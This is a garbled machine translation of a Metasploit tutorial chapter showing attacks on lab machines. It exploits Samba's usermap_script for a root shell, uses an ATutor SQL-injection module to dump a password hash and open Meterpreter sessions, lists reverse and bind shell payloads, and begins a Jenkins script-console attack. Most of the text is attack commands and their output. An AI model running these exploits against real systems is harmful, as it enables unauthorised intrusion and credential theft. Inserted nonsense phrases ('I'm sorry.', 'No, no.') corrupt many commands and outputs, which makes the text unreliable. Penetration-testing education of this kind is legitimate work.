Chapter 3 Service-end gap utilization example

Chapter III Service gap utilization

In this chapter, we will learn the following: 1, attacks on Linux Server 2, SQL injection of attack 3, shell type 4, attacks on Windows Server 5, use of utility 6, MS17-010 Blue Forever SMB remote code for nuclear damage within Windows 7, MS17-010 Regular Ramance/EternalSynergy/EternalCampion 8, implantation back door 9, denial of service attack

Introduction

Once a loophole has been reported, the development of its use is initiated. A licensed operating system, such as Windows, can quickly develop patching programs for loopholes or BUGs and update users. Lacunae disclosure is a serious problem, especially when zeroday leaks cause severe damage to the computer industry. In the course of infiltration testing, once information on a target operating system is available, people start looking for available procedures for specific service or operational system loopholes. So this chapter will be our first step in understanding gaps in target servers. We will focus on some systems using extensive Windows and Linux operations. msfconsole. About msfconsole And how to start msfconsole The chapter before us has already been explained.msfconsole , if you want to see help, you can enter directly help Just give the order.

  1. msf5 > help
  2. Core Commands
  3. =============
  4. Command Description
  5. ——- ———–
  6. ? Help menu
  7. banner Display an awesome metasploit banner
  8. cd Change the current working directory
  9. color Toggle color
  10. connect Communicate with a host
  11. exit Exit the console
  12. get Gets the value Of course. a context-specific variable
  13. getg Gets the value Of course. a global variable
  14. grep Grep the output Of course. another command
  15. help Help menu
  16. history Show command history
  17. load Load a framework plugin
  18. quit Exit the console
  19. repeat Repeat a list Of course. commands
  20. route Route traffic through a session
  21. save Saves the active datastores
  22. sessions Dump session listings I’m sorry. display information about session
  23. Set Sets a context-specific variable I’m sorry. a value
  24. setg Sets a global variable I’m sorry. a value
  25. sleep Do nothing You know, for… the specified number Of course. seconds
  26. spool Write console output into a file # As if well the screen
  27. threads View I’m sorry. manipulate background threads
  28. ….
  29. Set RHOSTS fe80:3990:0000/110, ::1-:f0f0
  30. Target a block from a resolved domain name:
  31. Set RHOSTS www.example.test/24
  32. msf5 >
  33. Copy Code

From the output results, there are a number of orders that you might be scared to death. But we’ve already learned about them before, such as database commands. We will now focus on the most useful orders at the gap-use stage and learn about other orders in the process.searchCommand

  1. msf5 > search -h
  2. Usage: search [ options ] <keywords>
  3. OPTIONS:
  4. -h Show this help information
  5. – Oh, my God. <file> Send output to a file I don’t know. csv format
  6. -S <string> Search string You know, for… row filter
  7. -u Use module If… there is one result
  8. Keywords:
  9. Aka: Modules with a matching AKA (also-known-# As if) name
  10. author : Modules written by this author
  11. arch : Modules affecting this architecture
  12. # I’m not sure what you’re doing # Modules with a matching Bugtraq ID
  13. cve: Modules with a matching CVE ID
  14. edb: Modules with a matching Exploit-DB ID
  15. check : Modules that support the ‘check’ method
  16. date : Modules with a matching disclosure date
  17. description : Modules with a matching description
  18. full_name : Modules with a matching full name
  19. mod_time : Modules with a matching modification date
  20. name : Modules with a matching descriptive name
  21. path : Modules with a matching path
  22. platform : Modules affecting this platform
  23. port : Modules with a matching port
  24. rank : Modules with a matching rank (Can be descriptive (Ex: ‘good’) or numeric with comparison operators (Ex: ‘gte400’))
  25. Ref: Modules with a matching ref
  26. reference : Modules with a matching reference
  27. target : Modules affecting this target
  28. type: Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)
  29. Examples:
  30. search cve:2009 type:exploit
  31. msf5 >
  32. Copy Code

It’s through. searchWe can look for a lot of things, including modules, holes and so on.

1. Attacks on Linux servers

LinuxThis is one of the most widely used operating systems, and in the previous section we have learned how to scan available services and scan targets using a leak scanner. In this section we will useMetasploitable2As a target, we’ll use it.SambaThe service leak is correct.LinuxTarget aircraft attack.

Preparatory work

First of all, we useservivesCommand before searchingnmapScan results and filter them139and445Port.

  1. msf5 > services -c port,info P-p. 139,445 192.168.177.145
  2. Services
  3. ========
  4. host port info
  5. —- —- —-
  6. 192.168.177.145 139 Samba smbd 3I’m sorry. 4.X workgroup: WORKGROUP
  7. 192.168.177.145 445 Samba smbd 3I’m sorry. 4.X workgroup: WORKGROUP
  8. msf5 >
  9. Copy Code

Now we know the target.Samba, and then we can look for the corresponding loopholes and use them.searchCommand to search for a user-usable attack module. TIP: We can access the Universal Gap Disclosure (CVE) online platformhttps://www.cvedetails.comFound in itSamba 3.0.20The details of the leaks. searchCommand Filter CVE、模块类型、关键字You can find a usable attack module.

  1. msf5 > search cve: 2007 type:exploit samba
  2. Matching Modules
  3. ================
  4. # Name Disclosure Date Rank Check Description
  5. – —- ————— —- —– ———–
  6. 1 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow
  7. 2 exploit/multi/samba/usermap_script 2007-05-14 excellent No, no. Samba “username map script” Command Execution
  8. 3 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No, no. Samba lsa_io_trans_names Heap Overflow
  9. 4 exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No, no. Samba lsa_io_trans_names Heap Overflow
  10. msf5 >
  11. Copy Code
How?

1. Selection of attack modules

  1. msf5 > use exploit/multi/samba/usermap_script
  2. msf5 exploit(multi/samba/usermap_script) >
  3. Copy Code

2. OperationinfoView module information

  1. msf5 exploit(multi/samba/usermap_script) > info
  2. Name: Samba “username map script” Command Execution
  3. Module: exploit/multi/samba/usermap_script
  4. Platform: Unix
  5. Arch: Cmd
  6. Privileged: Yes
  7. License: Metasploit Framework License (BSD)
  8. Rank: Excellent
  9. Disclosed: 2007-05-14
  10. ……
  11. Description:
  12. This module exploits a command execution vulnerability in Samba
  13. versions 3.0.20 through 3.0.25rc3 when using the non-default
  14. “username map script” configuration option. By specifying a username
  15. containing shell meta characters, attackers can execute arbitrary
  16. commands. No authentication is needed to exploit this vulnerability
  17. since this option is used to map usernames prior to authentication!
  18. References:
  19. https://cvedetails.com/cve/CVE-2007-2447/
  20. OSVDB (34700)
  21. http://www.securityfocus.com/bid/23972
  22. http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
  23. http://samba.org/samba/security/CVE-2007-2447.html
  24. msf5 exploit(multi/samba/usermap_script) >
  25. Copy Code

The module describes the information, and it is clear that the module is usedSamba 3.0.20Present.3.0.25rc. Let’s try it. 3 and configuration parameters are passedshow missingCommand, view the parameters that must be configured

  1. msf5 exploit(multi/samba/usermap_script) > show missing
  2. Module options (exploit/multi/samba/usermap_script):
  3. Name Current Setting Required Description
  4. —- ————— ——– ———–
  5. RHOSTS yes The target address range or CIDR identifier
  6. msf5 exploit(multi/samba/usermap_script) >
  7. Copy Code

TIP: To show advanced options for modules, you can useshow advanced Orders. We’ll just have to set the target here.IPThe address is fine. We’re through.set [options] [value]Set

  1. msf5 exploit(multi/samba/usermap_script) > Set RHOSTS 192.168.177.145
  2. RHOSTS => 192.168.177.145
  3. msf5 exploit(multi/samba/usermap_script) >
  4. Copy Code

4. AttacksexploitIt’s all right.

  1. msf5 exploit(multi/samba/usermap_script) > exploit
  2. [*] Started reverse TCP double handler I’m sorry. 192.168.177.143:4444
  3. [*] Accepted the first client connection…
  4. [*] Accepted the second client connection…
  5. [*] Command: echo 48vnI4nfAB1GTD5d;
  6. [*] Writing to socket A
  7. [*] Writing to socket B
  8. [*] Reading from sockets…
  9. [*] Reading from socket B
  10. [*B: “48vnI4nfAB1GTD5d\r\n”
  11. [*] Matching…
  12. [*A Yes. input…
  13. [*] Command shell session 1 opened (192.168.177.143:4444 -> 192.168.177.145:51353) at 2019-04-26 13:14:08 +0800
  14. Copy Code

When the attack succeeds, we will get a link to the target machine. We can execute some orders to verify whether or not the target machine is authorized.

  1. hostname
  2. metasploiable
  3. ip a show
  4. 1: I’m sorry. <LOOPBACK, UP, LOWER_UP> mtu 16436 qdisc noqueue
  5. link/loopback 00:00:00:00:00:00 I don’t know. 00:00:00:00:00:00
  6. inet 127.0.0.1/8 scope host lo
  7. inet6 ::1/128 scope host
  8. valid_lft forever preferred_lft forever
  9. 2: eth0: <ROADCAST, MULTICAST, UP, LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
  10. link/ether 00:0c:29:cc:9a:ea brd ff:ff:ff:ff:ff:ff
  11. inet 192.168.177.145/24 I don’t know. 192.168.177.255 scope global eth0
  12. inet6 Fe80::20c:29ff:fecc:9aea/64 scope link
  13. valid_lft forever preferred_lft forever
  14. 3: Ether 1: <BROADCAST, MULTICAST> mtu 1500 qdisc noop qlen 1000
  15. link/ether 00:0c:29:cc:9a:f4 brd ff:ff:ff:ff:ff:ff
  16. ♪ I don’t know, id
  17. uid=0(root) gid=0(root)
  18. Copy Code

PressCtrl+ZI’ll take it backstage.

  1. uid=0(root) gid=0(root)
  2. ⁇ / Press Ctrl+Z
  3. Background session 1? [I’m sorry.
  4. msf5 exploit(multi/samba/usermap_script) >
  5. Copy Code

5 to operate a session, availablesessionsCommand

  1. msf5 exploit(multi/samba/usermap_script) > sessions -h
  2. Use: sessions [options] # Or # sessions [id]
  3. Active session manipulation I’m sorry. interaction.
  4. OPTIONS:
  5. -C <I don’t know.> Run a Meterpreter Command I’m sorry. the session given with I-I-I… # Or # All of them.
  6. -K Terminate all sessions
  7. -S <I don’t know.> Row search filter.
  8. -C-c. <I don’t know.> Run a command I’m sorry. the session given with I-I-I… # Or # All of them.
  9. -d List all inactive sessions
  10. -h Help banner
  11. – I don’t know. <I don’t know.> Interact with the supplied session ID
  12. – Okay. <I don’t know.> Terminate sessions by session ID I’m sorry./# Or # range
  13. -l List all active sessions
  14. – No, I don’t. <I don’t know.> Name # Or # rename a session by ID
  15. -q Quiet mode
  16. – I’m sorry. <I don’t know.> Run a script # Or # module I’m sorry. the session given with I-I-I… # Or # All of them.
  17. – T-t-t-t-t-t-t-t-t-t-t-t-t-t-t-t-t-t-T-t-t- <I don’t know.> Set a response timeout (default: 15)
  18. – I’m sorry. <I don’t know.> Upgrade a shell I’m sorry. a meterpreter session I’m sorry. many platforms
  19. -v List all active sessions I don’t know. verbose mode
  20. -x Show extended information I don’t know. the session table
  21. Many options allow specifying session ranges using commas I’m sorry. dashes.
  22. For example: sessions -s checkvm -i 1,3-5 # Or # sessions -k 1-2,5,6
  23. msf5 exploit(multi/samba/usermap_script) >
  24. Copy Code

Six, to get back to the conversation you just had.sessions -i [session_id]Command, usesessions -lSee the list of all active sessions.

  1. msf5 exploit(multi/samba/usermap_script) > sessions – I’m sorry.
  2. Active sessions
  3. ===============
  4. Id. Name Type Information Connection
  5. — —- —- ———– ———-
  6. 1 shell cmd/unix 192.168.177.143:4444 -> 192.168.177.145:51353 (192.168.177.145)
  7. msf5 exploit(multi/samba/usermap_script) > sessions – I don’t know. 1
  8. [*] Starting interaction with 1…
  9. ♪ I don’t know, id
  10. uid=0(root) gid=0(root)
  11. ip a show
  12. 1: lo: <LOOPBACK, UP, LOWER_UP> mtu 16436 qdisc noqueue
  13. link/loopback 00:00:00:00:00:00 I don’t know. 00:00:00:00:00:00
  14. inet 127.0.0.1/8 scope host I’m sorry.
  15. inet6 ::1/128 scope host
  16. valid_lft forever preferred_lft forever
  17. 2: eth0: <ROADCAST, MULTICAST, UP, LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
  18. link/ether 00:0c:29:cc:9a:ea I don’t know. ff:ff:ff:ff:ff:ff
  19. inet 192.168.177.145/24 I don’t know. 192.168.177.255 scope global Eth0
  20. inet6 fe80::20c:29ff:fecc:9aea/64 scope link
  21. valid_lft forever preferred_lft forever
  22. 3: eth1: <BROADCAST, MULTICAST> mtu 1500 qdisc noop qlen 1000
  23. link/ether 00:0c:29:cc:9a:f4 I don’t know. ff:ff:ff:ff:ff:ff
  24. Copy Code

To terminate a session, pressCtrl+c。

  1. link/ether 00:0c:29:cc:9a:f4 brd ff:ff:ff:ff:ff:ff
  2. ⁇ C //Ctrl+C
  3. Abort session 1♪ [y]/N] y // Enter y
  4. “”
  5. [*] 192.168.177.145 – Command shell session 1 closed. Reason: User exit
  6. msf5 exploit(multi/samba/usermap_script) >
  7. Copy Code
How does it work?

SambaFor useLinuxandWindows. Print and file-sharing services between you.Samba 3.0.0to3.0.25rc3It’s…smbdMediumMS-RPCThe function allows the remote attacker to pass.SamrChangePasswordFunctionalshellCharacter execution of any command when enabledsmb.conf, allow remote authentication of users through other remote printersMS-RPCfunction’s external char execution command, and file sharing management. The gap attack module contains by specifying a usernameshellCharacter, the assailant can execute an arbitrary command. As this option is used to map user names before authentication, no authentication is required to take advantage of this loophole.

A payload?

We don’t have a name.payload♪ And so ♪MetasploitThe default has been assigned to us.payload. We can useshow optionsView

  1. msf5 exploit(multi/samba/usermap_script) > show options
  2. Module options (exploitation/multi/samba/usermap_script):
  3. Name Current Setting Required Description
  4. —- ————— ——– ———–
  5. RHOSTS 192.168.177.145 Yes. The target address range # Or # CIDR identifier
  6. RPORT 139 Yes. The target port (TCP)
  7. Payload options (cmd/unix/reverse):
  8. Name Current Setting Required Description
  9. —- ————— ——– ———–
  10. LHOST 192.168.177.143 Yes. The listn address ♪ An interface Maybe. I don’t know, be. specified)
  11. LPORT 4444 Yes. The listn port
  12. Exploit target:
  13. Id. Name
  14. — —-
  15. 0 Automatic
  16. msf5 exploit(multi/samba/usermap_script) >
  17. Copy Code

You can see, usepayloadIt’s one.unixReverseshellWe can pass.show payloasLists all available attack loads for the current attack module.

  1. msf5 exploit(multi/samba/usermap_script) > show payloads
  2. Compatible Payloads
  3. ===================
  4. # Name Disclosure Date Rank Check Description
  5. – —- ————— —- —– ———–
  6. 1 cmd/unix/bind_awk normal No, no. Unix Command Shell, Bind TCP (via) AWK)
  7. 2 cmd/unix/bind_busybox_telnetd normal No, no. Unix Command Shell, Bind TCP (via) BusyBox telnetd)
  8. 3 cmd/unix/bind_inetd normal No, no. Unix Command Shell, Bind TCP (inetd)
  9. 4 cmd/unix/bind_lua normal No, no. Unix Command Shell, Bind TCP (via) Lua)
  10. 5 cmd/unix/bind_netcat normal No, no. Unix Command Shell, Bind TCP (via) netcat)
  11. 6 cmd/unix/bind_netcat_gaping normal No, no. Unix Command Shell, Bind TCP (via) netcat I’m sorry.
  12. 7 cmd/unix/bind_netcat_gaping_ipv6 normal No, no. Unix Command Shell, Bind TCP (via) netcat I’m sorry. IPv6
  13. 8 cmd/unix/bind_perl normal No, no. Unix Command Shell, Bind TCP (via) Perl)
  14. 9 cmd/unix/bind_perl_ipv6 normal No, no. Unix Command Shell, Bind TCP (via) perl) IPv6
  15. 10 cmd/unix/bind_r normal No, no. Unix Command Shell, Bind TCP (via) & R
  16. 11 cmd/unix/bind_ruby normal No, no. Unix Command Shell, Bind TCP (via) Ruby)
  17. 12 cmd/unix/bind_ruby_ipv6 normal No, no. Unix Command Shell, Bind TCP (via) Ruby) IPv6
  18. 13 cmd/unix/bind_socat_udp normal No, no. Unix Command Shell, Bind UDP (via) socat)
  19. 14 cmd/unix/bind_zsh normal No, no. Unix Command Shell, Bind TCP (via) Zsh)
  20. 15 cmd/unix/generic normal No, no. Unix Command, Generic Command Execution
  21. 16 cmd/unix/reverse normal No, no. Unix Command Shell, Double Reverse TCP (telnet)
  22. 17 cmd/unix/reverse_awk normal No, no. Unix Command Shell, Reverse TCP (via) AWK)
  23. 18 cmd/unix/reverse_bash_telnet_ssl normal No, no. Unix Command Shell, Reverse TCP SSL (telnet)
  24. 19 cmd/unix/reverse_ksh normal No, no. Unix Command Shell, Reverse TCP (via) Ksh)
  25. 20 cmd/unix/reverse_lua normal No, no. Unix Command Shell, Reverse TCP (via) Lua)
  26. 21 cmd/unix/reverse_ncat_ssl normal No, no. Unix Command Shell, Reverse TCP (via) ncat)
  27. 22 cmd/unix/reverse_netcat normal No, no. Unix Command Shell, Reverse TCP (via) netcat)
  28. 23 cmd/unix/reverse_netcat_gaping normal No, no. Unix Command Shell, Reverse TCP (via) netcat I’m sorry.
  29. 24 cmd/unix/reverse_openssl normal No, no. Unix Command Shell, Double Reverse TCP SSL (openssl)
  30. 25 cmd/unix/reverse_perl normal No, no. Unix Command Shell, Reverse TCP (via) Perl)
  31. 26 cmd/unix/reverse_perl_ssl normal No, no. Unix Command Shell, Reverse TCP SSL (via) perl)
  32. 27 cmd/unix/reverse_php_ssl normal No, no. Unix Command Shell, Reverse TCP SSL (via) php)
  33. 28 cmd/unix/reverse_python normal No, no. Unix Command Shell, Reverse TCP (via) Python)
  34. 29 cmd/unix/reverse_python_ssl normal No, no. Unix Command Shell, Reverse TCP SSL (via) python)
  35. 30 cmd/unix/reverse_r normal No, no. Unix Command Shell, Reverse TCP (via) & R
  36. 31 cmd/unix/reverse_ruby normal No, no. Unix Command Shell, Reverse TCP (via) Ruby)
  37. 32 cmd/unix/reverse_ruby_ssl normal No, no. Unix Command Shell, Reverse TCP SSL (via) Ruby)
  38. 33 cmd/unix/reverse_socat_udp normal No, no. Unix Command Shell, Reverse UDP (via) socat)
  39. 34 cmd/unix/reverse_ssl_double_telnet normal No, no. Unix Command Shell, Double Reverse TCP SSL (telnet)
  40. 35 cmd/unix/reverse_zsh normal No, no. Unix Command Shell, Reverse TCP (via) Zsh)
  41. msf5 exploit(multi/samba/usermap_script) >
  42. Copy Code

We can still do it.sessions -u [sessions_id] I can do it.shellUpgrade Session tometerpreterSessions so that they can be usedmeterpreterthe advanced function.meterpreterDetails will be provided in subsequent sections.

  1. msf5 exploit(multi/samba/usermap_script) > sessions – I’m sorry. 2
  2. [*] Executing ‘post/multi/manage/shell_to_meterpreter’ I’m sorry. session(s): [2]
  3. [*] Upgrading session ID: 2
  4. [*] Starting exploit/multi/handler
  5. [*] Started reverse TCP handler I’m sorry. 192.168.177.143:4433
  6. [*] Sending stage (985320 bytes) I’m sorry. 192.168.177.145
  7. [*] Meterpreter session 3 opened (192.168.177.143:4433 -> 192.168.177.145:35189) It’s not like I’m gonna be able to do this. 2019-04-26 13:46:35 +0800
  8. [*] Command stager progress: 100.00% (773/773 bytes)
  9. Copy Code

2, SQL Injection

MetasploitA few.SQLUse modules that inject loopholes enable us to test and verify the vulnerability of targets.

Preparatory work

We’ll install an open source of vulnerability.LMS:Atutor 2.2.1Conduct tests, accesswww.exploit-db.com/exploités/39… , clickVULNERABLE APPOpen Source Download next to the Download ButtonAtutor 2.2.1。

TIP: How to install ATutor, you can view the official document.

How?

The module was used.ATutor 2.2.1It’s…SQLThe introduction of loopholes and identification gaps means that we can bypass authentication, access management interfaces and upload malicious codes.exploit/multi/http/atutor_sqliModules, view module options

  1. msf5 > # I’m not gonna let you go # exploit/multi/http/atitor_sqli
  2. msf5 exploit(multi/http/atitor_sqli) > show options
  3. Module options (exploitation/multi/http/atitor_sqli):
  4. Name Current Setting Required Description
  5. —- ————— ——– ———–
  6. Proxies No, no. A proxy chain Of course. format type:host:port[,type:host:port][…]
  7. RHOSTS Yes. The target address range # Or # CIDR identifier
  8. RPORT 80 Yes. The target port (TCP)
  9. SSL false No, no. Negotiate SSL/TLS You know, for… outgoing Connections
  10. TARGETURI /Autuor/ Yes. The path Of course. Attor
  11. VHOST No, no. HTTP server virtual host
  12. Exploit target:
  13. Id. Name
  14. — —-
  15. 0 Automatic
  16. msf5 exploit(multi/http/atitor_sqli) >
  17. Copy Code

Before the attack, you can have it.checkCommand to check if the target is vulnerable. Then attack.

  1. msf5 exploit(multi/http/atitor_sqli) > check
  2. [+] 192.168.177.139:80 – The target Yes. vulnerable.
  3. msf5 exploit(multi/http/atitor_sqli) >
  4. msf5 exploit(multi/http/atitor_sqli) > exploit
  5. [*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
  6. [*] 192.168.177.139:80 – Dumping That’s it. username I’m sorry. password hash…
  7. [*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
  8. [*] 192.168.177.139:80 – Dumping That’s it. username I’m sorry. password hash…
  9. [+] 192.168.177.139:80 – Got That’s it. root’s hash: 9c352326223a09bc610ff4919e611bed3fbb28f5 !
  10. [*] Sending stage (38247 bytes) I’m sorry. 192.168.177.139
  11. [*] Meterpreter session 13 opened (192.168.177.143:4444 -> 192.168.177.139:50088) It’s not like I’m gonna be able to do this. 2019-04-28 13:53:36 +0800
  12. [!] This exploit Maybe. require manual cleanup Of course. ‘ytux.php’ I’m sorry. That’s it. target
  13. [!] This exploit Maybe. require manual cleanup Of course. ‘/var/content/module/zyq/ytux.php’ I’m sorry. That’s it. target
  14. meterpreter >
  15. Copy Code

Depending on the complexity of the password, it takes different time.shell

  1. meterpreter > getuid
  2. Server username: Administrator (0)
  3. meterpreter > sysinfo
  4. Computer : WIN-BGKRU85VR4H
  5. OS : Windows NT WIN-BGKRU85VR4H 6.1 build 7600 (Windows 7 Business Edition) i586
  6. Meterpreter : php/windows
  7. meterpreter >
  8. Copy Code

3, shell type

We’ll discuss some of the available items before we start with the next section.shellType of.shellThere’s basically two, one of them.bind shellOne of them is…reverse shjell。

bindShell, it’s called a positive connection.shell. The program is to monitor the local port of the target machine and allow the assailant to connect to the listening port.bind shellIt’s perfect for a local loophole, like when you have successfully endangered the target computer through fishing attacks and want to use local service power. But it’s not suitable for remote attack scenarios. Because targets are usually behind firewalls, so most of the time we use them more.reverse shellIt’s called reverse.shellAs our effective attack load. Reverse.shellIt’s a listening port for the assailant, and after operating on the target machine, the attack program is actively connected to the target’s listening port.

MetasploitThree different typespayloadModules, namely:singles、stagersandstages。

Singles: a stand-alone payload that can be directly implanted into the target system and the procedures implemented, such as shell_bind_tcp

Stagers: Transferr load, responsible for network connection, andstagesThe payload is used in combination. This load is small and reliable

Stages: Transferr load, instagersOnce a stable connection has been established, the advanced functionality provided is as follows: shell,meterpreter, dllinject, patchupdllinject, upexec,vncinjectWait.metasploitMediummeterpreterActually, it’s just one.payload. It needsstagersandstagesCooperate with use.

Preparatory work

In the previous sectionSQLInjecting, a valid loophole has been exploited. So we’ll use it to test different types of things.payload

How?

1. Useshow payloadscommand displays the available payload.

  1. msf5 exploit(multi/http/atitor_sqli) > show payloads
  2. Compatible Payloads
  3. ===================
  4. # Name Disclosure Date Rank Check Description
  5. – —- ————— —- —– ———–
  6. 1 generic/custom normal No, no. Custom Payload
  7. 2 generic/shell_bind_tcp normal No, no. Generic Command Shell, Bind TCP Inline
  8. 3 generic/shell_reverse_tcp normal No, no. Generic Command Shell, Reverse TCP Inline
  9. 4 php/bind_perl normal No, no. PHP Command Shell, Bind TCP (via) Perl)
  10. 5 php/bind_perl_ipv6 normal No, no. PHP Command Shell, Bind TCP (via) perl) IPv6
  11. 6 php/bind_php normal No, no. PHP Command Shell, Bind TCP (via) PHP)
  12. 7 php/bind_php_ipv6 normal No, no. PHP Command Shell, Bind TCP (via) php) IPv6
  13. 8 php/download_exec normal No, no. PHP Executable Download I’m sorry. Execute
  14. 9 php/exec normal No, no. PHP Execute Command
  15. 10 php/meterpreter/bind_tcp normal No, no. PHP Meterpreter, Bind TCP Stager
  16. 11 php/meterpreter/bind_tcp_ipv6 normal No, no. PHP Meterpreter, Bind TCP Stager IPv6
  17. 12 php/meterpreter/bind_tcp_ipv6_uuid normal No, no. PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
  18. 13 php/meterpreter/bind_tcp_uuid normal No, no. PHP Meterpreter, Bind TCP Stager with UUID Support
  19. 14 php/meterpreter/reverse_tcp normal No, no. PHP Meterpreter, PHP Reverse TCP Stager
  20. 15 php/meterpreter/reverse_tcp_uuid normal No, no. PHP Meterpreter, PHP Reverse TCP Stager
  21. 16 php/meterpreter_reverse_tcp normal No, no. PHP Meterpreter, Reverse TCP Inline
  22. 17 php/reverse_perl normal No, no. PHP Command, Double Reverse TCP Connection (via) Perl)
  23. 18 php/reverse_php normal No, no. PHP Command Shell, Reverse TCP (via) PHP)
  24. msf5 exploit(multi/http/atitor_sqli) >
  25. Copy Code

2. View details of the payload, useinfo <payload>Command

  1. msf5 exploit(multi/http/atutor_sqli) > info payload/generic/shell_bind_tcp
  2. Name: Generic Command Shell, Bind TCP Inline Module: payload/generic/shell_bind_tcp Platform: All Arch: x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, p
  3. hp, java, ruby, dalvik, python, nodejs, firefox, zarch, r
  4. Needs Admin: No, no.
  5. Total size: 0 Rank: Normal
  6. Provided – By:
  7. skape <mmiller@hick.org>
  8. Basic options:
  9. Name Current Setting Required Description
  10. —- ————— ——– ———–
  11. LPORT 4444 yes The listen port
  12. RHOST no The target address
  13. Description:
  14. List You know, for… a connection and spawn a command shell
  15. msf5 exploit(multi/http/atutor_sqli) >
  16. Copy Code

3、generic/shell_bind_tcpIt’s a stand-alone payload. To choose it as a payload, we useset payload <payload_name>

  1. msf5 exploit(multi/http/atitor_sqli) > Set payload generic/shell_bind_tcp
  2. payload => generic/shell_bind_tcp
  3. msf5 exploit(multi/http/atitor_sqli) > exploit
  4. [*] 192.168.177.139:80 – Dumping the username I’m sorry. password hash…
  5. Copy Code

4. Usegeneric/shell_bind_tcpThe payload can be used to get a common one.shellBut it’s not enough.PHP MeterpreteIt’s a rich and advanced payload that we can use to exploit this loophole.

  1. msf5 exploit(multi/http/atitor_sqli) > info payload/php/meterpreter/reverse_tcp
  2. Name: PHP Meterpreter, PHP Reverse TCP Stager
  3. Module: payload/php/meterpreter/reverse_tcp
  4. Platform: PHP
  5. Arch: php
  6. Needs Admin: No
  7. Total size: 1101
  8. Rank: Normal
  9. Provided – By:
  10. Basic options:
  11. Name Current Setting Required Description
  12. —- ————— ——– ———–
  13. LHOST yes The listen address (an interface may be specified)
  14. LPORT 4444 yes The listen port
  15. Description:
  16. Run. a meterpreter server in PHP. Reverse PHP connect back stager
  17. with checks for disabled functions
  18. msf5 exploit(multi/http/atitor_sqli) >
  19. Copy Code
  1. msf5 exploit(multi/http/atitor_sqli) > Set PAYLOAD php/meterpreter/reverse_tcp
  2. PAYLOAD => php/meterpreter/reverse_tcp
  3. msf5 exploit(multi/http/atitor_sqli) > Set LHOST 192.168.177.143
  4. LHOST => 192.168.177.143
  5. [*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
  6. [*] 192.168.177.139:80 – Dumping That’s it. username I’m sorry. password hash…
  7. [+] 192.168.177.139:80 – Got That’s it. root’s hash: 9c352326223a09bc610ff4919e611bed3fbb28f5 !
  8. [*] Sending stage (38247 bytes) I’m sorry. 192.168.177.139
  9. [*] Meterpreter session 14 opened (192.168.177.143:4444 -> 192.168.177.139:51063) It’s not like I’m gonna be able to do this. 2019-04-28 16:42:49 +0800
  10. [!] This exploit Maybe. require manual cleanup Of course. ‘bgxx.php’ I’m sorry. That’s it. target
  11. [!] This exploit Maybe. require manual cleanup Of course. ‘/var/content/module/glt/bgxx.php’ I’m sorry. That’s it. target
  12. meterpreter >
  13. [+] 192.168.177.139:80 – Deleted bgxx.php
  14. meterpreter > getuid
  15. Server username: Administrator (0)
  16. meterpreter > sysinfo
  17. Computer : WIN-BGKRU85VR4H
  18. OS : Windows NT WIN-BGKRU85VR4H 6.1 build 7600 (Windows 7 Business Edition) i586
  19. Meterpreter : php/windows
  20. meterpreter >
  21. Copy Code

4. Attacks on Windows servers

We’ll use the information we collected before.WindowsServers are used as targets. We’ll use this section.Metasploitable3As a target.

Preparatory work

By collecting information, find loopholes and select the appropriate ones to use the module.servicesView TargetApacheService version.

  1. msf5 > services P-p. 8020 192.168.177.144
  2. Services
  3. ========
  4. host port proto name state info
  5. —- —- —– —- —– —-
  6. 192.168.177.144 8020 tcp http open Apache httpd
  7. msf5 >
  8. Copy Code

Access to target sites

By browsing through the target sites, we can try to log in using weak passwords, for example. admin

I can’t believe it.

How?

1. View running on 8484Port Jenkins-CIServices.

  1. msf5 > services 192.168.177.144 P-p. 8484
  2. Services
  3. ========
  4. host port proto name state info
  5. —- —- —– —- —– —-
  6. 192.168.177.144 8484 tcp http open Jetty winstone-2.8
  7. Copy Code

Here, it’s not shown. JenkinsLet’s check it out.

It’s one. JenkinsService. We use it.search jenkinsSearch for available modules

  1. msf5 > search jenkins
  2. Matching Modules
  3. ================
  4. # Name Disclosure Date Rank Check Description
  5. – —- ————— —- —– ———–
  6. 1 auxiliary/gather/jenkins_cred_recovery normal Yes Jenkins Domain Credential Recovery
  7. 2 auxiliary/scanner/http/jenkins_command normal Yes Jenkins-CI Unauthenticated Script-Console Scanner
  8. 3 auxiliary/scanner/http/jenkins_enum normal Yes Jenkins-CI Enumeration
  9. 4 auxiliary/scanner/http/jenkins_login normal Yes Jenkins-CI Login Utility
  10. 5 auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum normal No, no. Jenkins Server Broadcast Enumeration
  11. 6 exploit/linux/misc/jenkins_java_deserialize 2015-11-18 excellent Yes Jenkins CLI RMI Java Deserialization Vulnerability
  12. 7 exploit/linux/misc/jenkins_ldap_deserialize 2016-11-16 excellent Yes Jenkins CLI HTTP Java Deserialization Vulnerability
  13. 8 exploit/linux/misc/opennms_java_serialize 2015-11-06 normal No, no. OpenNMS Java Object Unserialization Remote Code Execution
  14. 9 exploit/multi/http/jenkins_metaprogramming 2019-01-08 excellent Yes Jenkins ACL Bypass I’m sorry. Metaprogramming RCE
  15. 10 exploit/multi/http/jenkins_script_console 2013-01-18 good Yes Jenkins-CI Script-Console Java Execution
  16. 11 exploit/multi/http/jenkins_xstream_deserialize 2016-02-24 excellent Yes Jenkins XStream Groovy classpath Deserialization Vulnerability
  17. 12 exploit/windows/misc/ibm_websphere_java_deserialize 2015-11-06 excellent No, no. IBM WebSphere RCE Java Deserialization Vulnerability
  18. 13 post/multi/gather/jenkins_gather normal No, no. Jenkins Credential Collector
  19. msf5 >
  20. Copy Code

UseJenkins-CI Script-Console Java ExecutionModules

  1. msf5 > # I’m not gonna let you go # exploit/multi/http/jenkins_script_console
  2. msf5 exploit(multi/http/jenkins_script_console) > Set RHOSTS 192.168.177.144
  3. RHOSTS => 192.168.177.144
  4. msf5 exploit(multi/http/jenkins_script_console) > Set RPORT 8484
  5. RPORT => 8484
